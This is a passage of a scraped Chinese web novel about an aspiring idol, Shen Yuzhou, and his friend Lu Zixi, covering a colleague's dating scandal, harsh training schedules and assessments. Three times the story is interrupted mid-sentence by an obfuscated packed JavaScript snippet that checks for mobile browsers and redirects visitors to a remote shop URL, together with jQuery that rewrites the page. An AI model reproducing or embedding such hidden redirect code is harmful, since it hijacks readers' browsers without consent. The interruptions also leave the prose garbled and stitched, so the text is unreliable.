;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382510|200202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 归不好，我就一直躲着他。 “他装作不知，次次能找到机会。我拒绝过，他总说是以前欠的钱，现在还钱还能顺几坛酒走。” “真好。” 眼瞧着时间到，陆子溪打开锅盖放上干桂花再蒸一会，差不多就端出来挑出桂花放凉搅拌。 沈余舟抱着冷水壶听陆子溪的指令倒水，水倒好就端着捣碎的酒饼在一旁等待下一步命令。 酒饼碎放入糯米拌均匀，倒入几个酒罐里在中间戳出小洞，盖上盖子放入另一个酒窖里。 做好一切，陆子溪从酒窖钻出来与坐在后门门槛的沈余舟对视上，拍掉手上和身上的灰：“这个酒窖温度作用下，应该明天晚上就能喝上桂花米酒了。” ———— 时间快进到第二天晚上，沈余舟特意去门口集市的老字号买下酒菜。 沈余舟的小本子上写着：干瘪的糕点（陆子溪不吃），炸小黄鱼（我爱吃），瓜子，花生米…… 每买一样就在小本子打一个勾，两只手拿得满满当当才晃悠回家。 陆子溪摆好木藤摇椅放在后院，特地搬来一张桌子铺上布，上面放着从地窖里拿出来的酒，还有小巧的两只酒杯。 远远听到沈余舟开门的声音，陆子溪放下东西往外迎接。 沈余舟举着满手吃的小跑向陆子溪：“我回来了，应该都买齐了。路上回来饿吃了点小黄鱼。” 陆子溪递纸巾给沈余舟擦汗，接过大袋小袋拿出面上的小黄鱼放到沈余舟手上给他继续吃。 东西太多，两个人尽量把食物塞到小桌子上面。 他们终于躺在藤椅上时天空已布上繁星点点。 陆子溪倒出一杯桂花米酒让沈余舟试试，米酒酒液清澈，细闻有淡淡桂花香，一口下去拌着清甜的酒香与桂花花香，有些许干桂花带着的苦涩味。 度数不高，醉在花香不醉酒。 沈余舟没敢让陆子溪喝太多，只给两杯额度，剩下的放在自己这喝。 附近的糕点铺盛情推荐他们家新产品龙井红豆糯米糍，沈余舟拗不过买了些尝尝。 龙井红豆糯米糍里面的红豆绵密，外面皮带着龙井茶香中和红豆馅的腻味，配上桂花酒确实好吃，不愧是主打新品。 陆子溪觉得干坐着有些许无聊，在仓库翻箱倒柜出一个投影仪播放节目看。沈余舟随意调频，正好按到冬承欢主持的新打歌节目。 各种团体表演自己的新专辑主打曲，前一个节目各种重音鼓点吵得耳朵疼，下一个节目轻声念经听着打瞌睡，曲子千篇一律的无聊，索性改成看综艺节目放松一下身心。 又一期综艺节目播放完毕，沈余舟在摇椅上晃悠着慢慢睡去。 陆子溪去房间拿来薄毯给他盖上，把掉落的手放回被子里，慢慢抬沈余舟的脑袋解开绑着的橡皮筋，在头底下垫上软枕。 做完一切，陆子溪手环震动，是冬承欢的电话。陆子溪戴上耳机离远接听，冬承欢在那头不知道交代些什么，陆子溪轻声回几句好。 回来时陆子溪回来时带着笑意，躺在另一张摇椅上给自己盖上被子，陪着沈余舟在外面睡着。 果树随着夜风飘来丝丝果香，一夜美梦，醒来一切愿望都会实现。 8. 脱粉 “真的？冬姐喊我回去见《爱豆》那边的导演？”沈余舟从摇椅上蹦起来，一大早收到这个好消息想变回原型在后院疯狂乱窜。 陆子溪躺在躺椅上扇着蒲扇：“昨晚你睡着了，就打给我。今天早上就要回去，那边催得急。” “啊，”沈余舟趴回在椅子上抱住椅背，“今晚上的花神继任看不上了，号称最豪华还原的一届，我期待好久，错过可能这辈子都看不到传统仪式的继任典礼了。” 陆子溪伸手揉揉沈余舟的头，这次沈余舟没有躲开：“下次回来，我演给你看。” “一言为定。拉钩上吊，一百年不许变。”沈余舟伸出小拇指，拉过陆子溪的手拉钩。 ———— 一落地第六区，沈余舟拉着行李箱连忙往冬甜娱乐赶，冬承欢在那边一直发信息催促。 汽车经过冬甜娱乐的大门，门口围着一群人，旁边里面有人举手幅在那，大字写着：赵景道歉，你对不起铃铛们，更对不起陪你五年的嫂子。 赵景是原定这次去《爱豆训练营》的选手，之前参加过选秀差一位出道，冬甜娱乐签下后当直播网红同时拍摄短剧。 短剧爆火后这一年公司资源往他身上倾斜，塞他在各种电视剧里拍配角露脸，也出过几首唱跳单曲，一直没钱上打歌节目。营销号宣传过一段时间但反响平平，一直对外宣称单身。 沈余舟也是通过手幅才得知他有对象，掰手指算时间，岂不是还在参加选秀时就和现在的对象谈上了。 陆子溪把车兜去后门车库，避开堵住的正门。 正门这个情形，陆子溪安慰道：“有事可以跟我说，我把你的行李放在你家里的车库就回家了，我家离这里不远。” 沈余舟点头回应，跟着下来接应的笑笑走员工电梯上楼。 会议室里坐着冬承欢，赵景以及他的经纪人方莉雅，出道组训练生夏穗，还有一个沈余舟没有见过的女生。 沈余舟被安排坐在赵景对面。 那个女生介绍到：“我是《爱豆训练营》艺人统筹之一的张越沁，大家可以叫我小张，负责这次对接。现在导演组那边明确指示要求换人，我也很为难。” 赵景皱着眉想争取，方莉雅摁住赵景轻拍手臂让他别出声。 冬承欢撇赵景一眼：“最终决定参加的男艺人是虞舟，资料昨晚已经发送给导演组。我们对外会宣布赵景只是宣传部失误的谣传，不会影响到节目组这边。” 张越沁端起茶水喝一口：“我们导演组这边是很喜欢虞舟这位选手的，希望不要辜负我们这份期待。” 这句话意思冬承欢明了，伸出手：“绝对不会辜负节目组的，这次合作愉快。” 张越沁回握住冬承欢的手。 张越沁赶着工作，由笑笑送下楼离开。 会议室门口关上后，没人敢说话，冬承欢率先打破平静：“赵景，现在给时间你把事情解释清楚。之前给了你三天，你给公司玩失踪，你需要给公司一个交代。” 赵景开口承认道：“我是谈恋爱五年并且快订婚了，我等这个机会两年了，这次为了节目都愿意分手，为什么还要换掉我？” 冬承欢深吸一口气稳定情绪：“这次节目组放出第一波预热宣传里有你，公司围绕你做好策划，热度已经推上去。 “你一个分手激怒你前女友，她放出证据指明你上一次选秀前就在谈恋爱。包括各种活动都带着她在身边对外宣称助理，大眼仔营业照是在秀恩爱。 “你和粉丝说单身被打假，乘着热度塌房上热搜，现在直接活粉掉几万，商业价值已经成倍下跌。你让公司怎么保你？ “你从半年前就开始冷暴力你前女友，与对手戏女演员暧昧不清。方莉雅都查出来了，谈何为了这次节目分手，是不是为了事业为了粉丝你自己心里有数。 “这次掉一个节目邀约只是开始，你之后想怎么样你自己好好反思清楚。” 赵景被方莉雅架着出会议室，之前放出过消息最近回公司准备新舞台，粉丝现在围在楼下还没离开，只能避着人走。 门再次被关上，冬承欢问道：“你知道为什么我要让你们两个听这一段吗？” 沈余舟摇头。 夏穗看向冬承欢，又收回视线盯着桌子小声说：“因为他隐瞒自己真实情感状况欺骗粉丝欺骗公司和节目组。选秀谈恋爱本就不对，还疑似冷暴力劈腿道德品行不端。 “自己犯错不愿意主动承担，反而让公司承担后果顶锅。这次冬姐是希望我们引以为戒，不要和他反一样的错。” 冬承欢赞赏的目光看向夏穗：“说得很好，下次大声说，自信点。背打直，头抬高，大大方方的。虞舟，你知道为什么爱豆不能谈恋爱吗？” 沈余舟继续摇头，他之前并没有接触过爱豆这个行业，他以前一直认为歌手与爱豆只是相差一个跳舞，更多的他都不清楚。 冬承欢就知道这猫是个愣头青：“爱豆这个职业业务能力评判可以概括为两样，一样在于唱跳舞台表演能力，一样在于提供给粉丝情绪价值。 “爱豆没有办法提供足够的情绪价值，就会贩卖单身人设，给予粉丝一种我除了家人只有粉丝的错觉。当然重点还是在爱豆初期就是靠贩卖我是你的虚拟幻想对象获取粉丝的。” 沈余舟打断道：“那要这样说当爱豆岂不是一辈子都不能谈恋爱？” 夏穗点点头小声附和：“确实有粉丝是这样想的。” “啧。” 夏穗立刻坐直大声重复刚刚说过的话。 冬承欢说到：“我们公司对爱豆艺人恋爱还是算宽松的，谈了就上报。但是在团时期谈恋爱舆论压力会影响整个团体，在团出道后三年内不能恋爱是底线。 “solo爱豆艺人我们只要求出道后三年内不能被爆出谈恋爱，如果上升期恋爱导致商业价值下跌，粉丝不买专辑不买周边，这些损失由艺人自行承担。” 沈余舟脑子过一遍发现条例里的不对劲：“可是出道后三年时间内谈恋爱不就是隐瞒粉丝在谈吗？那不是和这次一样，反噬尤其严重。” 冬承欢：“那就要你自己想了，我们公司只要知情权。我不担心那几个女孩子去一趟男女混合选秀就谈上恋爱，你其实我也不担心，但是你之后事业的发展还有与其它选手相处之间的分寸你自己要想清楚。” ———— 也不知道是不是手环被监听了，晚上沈余舟像往常一样打开短视频出来的第一个视频竟然是赵景一个小粉丝的脱粉追星视频。 视频里没有辱骂指责，只有从很久很久以前开始拍摄的第一视角视频。 那时候的赵景还在选秀节目里没什么镜头，来看下班路的粉丝只有一两个，赵景看到自己的粉丝会高兴的奔过来问她们冷不冷。 名次一步步上升，一起等待的人越来越多。没成功出道那天晚上这个小粉丝就在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382511|200202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舞台下陪着，镜头对准赵景蹲在地上哭的身影，镜头外背景音是粉丝带着哭腔的“别哭”。 不知道从什么时候开始，粉丝陪着赵景走南闯北，他去哪里拍摄，粉丝有机会就攒钱去探班。 可是赵景从开始每天的打招呼，变成远远一个招手，最后一次探班一个眼神都没给过。 明明翻山越岭很苦的经历，到粉丝嘴里变成一句“想到可以看见你就什么都是开心的”。 悉心做的应援，每一个纪念日记得清清楚楚，为了让赵景知道世界上还有很多人喜欢他在生日配合后援会策划各种生贺宣传。 一张张专辑，一份份周边，因为爱意消散变成一堆废品。 随着时间流逝的除了赵景的青春，还有镜头后一个个女孩的青春。 一开始以为他是突然坏掉，到最后发现他从头到尾都是一样的，如同腐烂的水果外面的皮从光鲜亮丽到最后逐渐被腐蚀，芯从头到尾都是坏的。 五年时间，浓缩在短短一首歌里。 看完视频，沈余舟久久不能平静。 对于他来说，粉丝是隔着屏幕的一个个电子名字，像这样真挚的奔赴他还没有遇见过。 在他想象中的演唱会台下粉丝对应的表情动作是模糊的，他们之间隔着一层又一层的玻璃，大致会像音乐会里的人们一曲结束后静静鼓掌。 现在沈余舟脑子里突然能构建出一个个亮晶晶的眼神，呼喊着他的名字，告诉他世界上还有很多人喜欢着他。 这些爱是责任，也是一份份动力。 幻想里的场景突然一块块崩塌，变成一个个流泪看向他的面孔，沈余舟牵着另一个人的手站在台上宣告自己的爱意，她们变成一把把刀刃扎在沈余舟身上。 沈余舟从床上坐起，被那个噩梦吓得冒冷汗。 做了好几个深呼吸缓过来，反应过来才发现这就是在自己吓自己，自己又没有像那个赵景一样谈恋爱劈腿，这些场景怎么会发生。 睡觉，接下来两个月要开始魔鬼训练，还是趁今晚多补补眠。 床边音响播放着陆子溪推荐的白噪音，不到一会又沉沉睡去。 ———— 公司给沈余舟分配好一间专属小练习室，训练室门口挂着沈余舟的姓名牌。 一进门，老师给沈余舟介绍到：“我是负责所有练习生课程安排的老师徐夏，课程时间表给你发过去了，今天要进行全部摸底考，方便专业老师安排进度。” 沈余舟打开聊天页面：“舞蹈课，表情管理课，体态课，乐理课，拍照指导课……训练时间改为早上七点半到晚上十一半点，中途留有吃饭时间和直播一小时时间。 “这么多课？怎么没有写每周休息时间？” 内含课程名字多到翻到手疼。 徐夏同步对接信息：“根据今天摸底考安排休息时间。不过你要有心理准备，最多月休三天，成绩不理想将改为月休一天。 “其它训练生正常课程训练是朝九晚九，出道组暑寒两假训练期正常双休。但是小老板要求两个月学完平常需要一年有多的课程，只能压缩时间。” 小老板指的冬承欢，沈余舟算是信了冬承欢那句接下来要天天爬着回家。 工作选得好，天天赛高考。 徐夏递来一份又一份纸质试卷，限时考试，考完书面考实践。徐夏上午汇报打分表上写满字，翻过来的备注栏也被字体挤得密密麻麻。 9. 柠檬糖 沈余舟中午休息时间打开盒饭，里面冷掉后涌出的肉味闻着犯恶心，吃了两口硬生生咽下去，不到一阵抱着垃圾桶干呕。 陆子溪经过茶水间听到声响，简单扫视环境大致猜到情况，拿出糖果递到沈余舟嘴边：“张嘴，含着。” 柠檬糖的酸甜味涌入，缓解不适。沈余舟抱着膝盖蹲在地上等缓过劲：“谢谢你。” 陆子溪学着蹲在旁边递上纸巾：“是不是昨晚没睡好，还没有吃早餐？脸好白。” “昨晚做了很多噩梦，一直梦到有人拿刀砍我，最后心脏都捅穿了，血一直在哗啦啦流，可吓人了。害得早上考试没有精神，喝了杯冰美式提神就不舒服了。” 沈余舟疯狂揉太阳穴，试图把那些恐怖画面删除。 陆子溪把沈余舟从地上扶起：“那就不想了，我给你煮碗面，不吃盒饭了。” 沈余舟把桌上的盒饭扔进垃圾桶，伸手揉搓陆子溪的脸：“你对我这么好，我可要以身相许报恩了。” 说完还假装要亲陆子溪的脸颊，发出mua声。 陆子溪捂着脸不让沈余舟真亲上，脸和脖子红得明显：“你怎么这样。” 沈余舟是那种不让干什么偏干什么的人，把陆子溪手掰开捏着脸在脸颊上印上一个吻：“说了以身相许，小弟弟，我就喜欢你这种好玩的。” 沈余舟特意学网上猥琐男把尾音拖长加气泡音，用手摩挲自己的下巴。 甜丝丝的柠檬糖香味掺杂在空气中，陆子溪转过身憋着笑，不受戏瘾爆发的沈余舟干扰在茶水间找到方便面去隔壁小厨房烧水煮面。 冬甜作为娱乐公司经常排班到凌晨，每层都新安一个小厨房方便夜班的同事煮宵夜。 柜子里的方便面大多是选品部收到品牌方的品后吃不完的塞里面，奇形怪状，什么口味都有。 陆子溪选择普通红烧口味的方便面放进沸水里煮开，找到冰箱里的鸡蛋打在方便面桶里确认没有变质才往锅里倒，再加俩条火腿肠。 柜子里还留着之前部门火锅团建留下的塑料碗，把面盛在里面放凉，再加少许面汤调味。 因为沈余舟肠胃不舒服，所以只放了少许调料包调味，整体来说是一碗清淡的鸡蛋面，但比凉掉疑似放搜的盒饭好吃许多。 沈余舟享受着他的专属面，陆子溪就在一旁把锅洗干净。 沈余舟轻轻吹还烫的面条再一口吸溜进肚，问道：“你编外人员怎么比我还对公司熟悉？” “因为我曾经是冬甜的形体老师，”陆子溪拉开椅子在沈余舟对面坐下，“再加上之前冬承欢想签我，但我更喜欢自己个人，她希望我多了解公司再决定。这些员工福利她都带我看过一次。” “那现在呢？有签这边的想法吗？” “没有。我不喜欢被一纸合同束缚住。” 陆子溪以前签过公司，各种条条框框，被坑了不少钱才成功解约，赚的都不够赔，现在工作连轴转好不容易还清解约费有钱租房买车和上学。 沈余舟将面吃得干干净净，面汤喝完，碗底不剩一点东西。 这时候笑起来还有厚厚的脸颊肉，叫声糯米糍成精也不为过，一个月的魔鬼训练过去瘦下来脸部线条清晰，眼神里带着猫科动物特有的凌厉。 课程表上写着晚十一点半下课，实际每天沈余舟将课程作业拍摄完成，再练习简单的舞蹈基本功已经晚上凌晨一点多。 那段时间陆子溪上学上班结束后赶去练习室每天都练到凌晨。 沈余舟和陆子溪两个人的练习室是斜对门，每晚剩他们两个的灯还亮着，音乐暂停播放时能听到对面练习的脚步声。 有时是三间练习室亮着灯，夏穗焦虑不满意状态会留下加练，其它三个出道组的女孩子吃完宵夜从宿舍溜达回练习室接人下班，她们经过走廊时能听见聊天的笑声。 叮，电梯门关闭。 公司练习室里又只剩下沈余舟和陆子溪两个人训练声，这是他们心照不宣的陪伴。 ———— 第一个月度考核考题下来，给沈余舟的考题是一天学下来一整首歌的舞蹈，最终唱跳表演。 舞蹈老师把训练室里的屏幕打开视频软件，第一时间刷出来的歌曲就是考题。 沈余舟拿到的曲子是一首女团曲，热血风格，快节奏舞蹈里有许多下蹲再站起的动作，结尾前还有一段高音，整首曲子想着要跳下来已经累了。 沈余舟看完完整的舞蹈视频第一句问舞蹈老师：“一个人唱跳完全程，真的不会死掉吗？” 舞蹈老师笑着摇摇手指，只留下舞蹈视频就走了，远远听见沈余舟在练习室里发出哀嚎。 隔壁陆子溪拿到同样的歌曲，下午还有商务拍摄只能赶在上午全部学完，对着镜面视频看了两遍就把简单重复的动作学下来了。 中午吃饭时间陆子溪只跳一遍就过了，本身音域原因高音上不去只能直接改掉，分数最终标为76分。 听到这个消息的沈余舟才学一半，体力不支躺在地上。陆子溪经过时，推开训练室门指了指手环就走了。 沈余舟打开信息软件看到陆子溪发来大段搞笑加油词，什么“舞蹈天才沈余舟”，“唱跳精灵沈余舟”，边看边笑，翻到最后一句写着“上完班还回来”。 沈余舟看着时钟对照着之前陆子溪发过给他的时间表，预计剩余时间，想着争取在陆子溪回来前学下来，瞬间充满动力咬咬牙继续播放歌曲一遍遍学习。 声乐老师和舞蹈老师看完沈余舟最终考核表演，将视频存档。 舞蹈老师误触同时播放起陆子溪和沈余舟的考核视频，正好两个都是男生可以对比看就没有关闭。 三个人蹲在屏幕底下看，沈余舟记录下自己处理细节相较下不好的地方，声乐老师在旁边说到：“你们两个的声音好搭啊。” 舞蹈老师和声乐老师双手十指相扣摇晃附和道：“刚刚打开第一句出来我也有这样的感觉，而且一个舞蹈好一个声乐好，舞蹈卡点习惯都一样，正好完美搭出一个双人组。” “对对对。” 冬承欢像幽灵般瞬移到两人身后发出声音：“你们在说什么？” 这一声给舞蹈老师和音乐老师吓得不轻，沈余舟更是吓到飙出一声猫叫，三个人坐在地上歪七扭八。 沈余舟摸着胸口开口说到：“你怎么回来也不说一声？吓死人了。” 冬承欢拿过放在地上的考核表：“我也回来月度考核，不对，应该说赛前评估，经过就进来看一眼。你们三个在心虚些什么？想成绩造假呢？” 考核表上大部分评估选项打钩，最后成绩上写着C，表演分数打着65分。评语栏写着：基础不好，还需要多练。 这个分数至少及格了，计数栏里记录练下来这个歌花了十几个小时。 冬承欢看着播放的视频，对照考核表：“进步很大，但是这个学习速度去节目太慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆子溪躺着看天花板的顶灯觉得刺眼，转头看向沈余舟：“练久了，就快了。” “那像她们那样，在练成之前的一路上肯定很辛苦吧？高强度的舞蹈，快节奏的歌曲，要多强的意志力才能坚持下去。” 当然。 看着短短的一首歌，是想要站在舞台上的她们一年又一年的不确定中练习出来的扎实基本功，即便面对质疑声只要听见台下的呼喊声就会一次次拼命做到最好。 连带伤痛也逐渐变成家常便饭，似乎从很久很久前在公开平台只会听到她们说那些突然带来幸福的瞬间。 剩下的苦疼独自面对躲在角落里舔舐伤口，报喜不报忧。 如果不是热爱，那这段路程太难熬了。 “所以才值得更多人喜欢。” 陆子溪侧过身，注意力集中在沈余舟身上，留影光圈和身影重叠，透过这幅画面仿佛能看到舞台上聚光灯照在他身上的模样。 沈余舟坐起来双手合十给予祝福：“那我要许愿，所有努力的人都能得到他们想要的幸福。” 说完，沈余舟不知道想起什么一拍脑袋：“早知道当初在许愿池的时候许这个愿望了。” “那你快完成每天作业，当这个努力的人。” “一起练，你也来当努力的人。” 今天的他们依旧一起看凌晨的星空。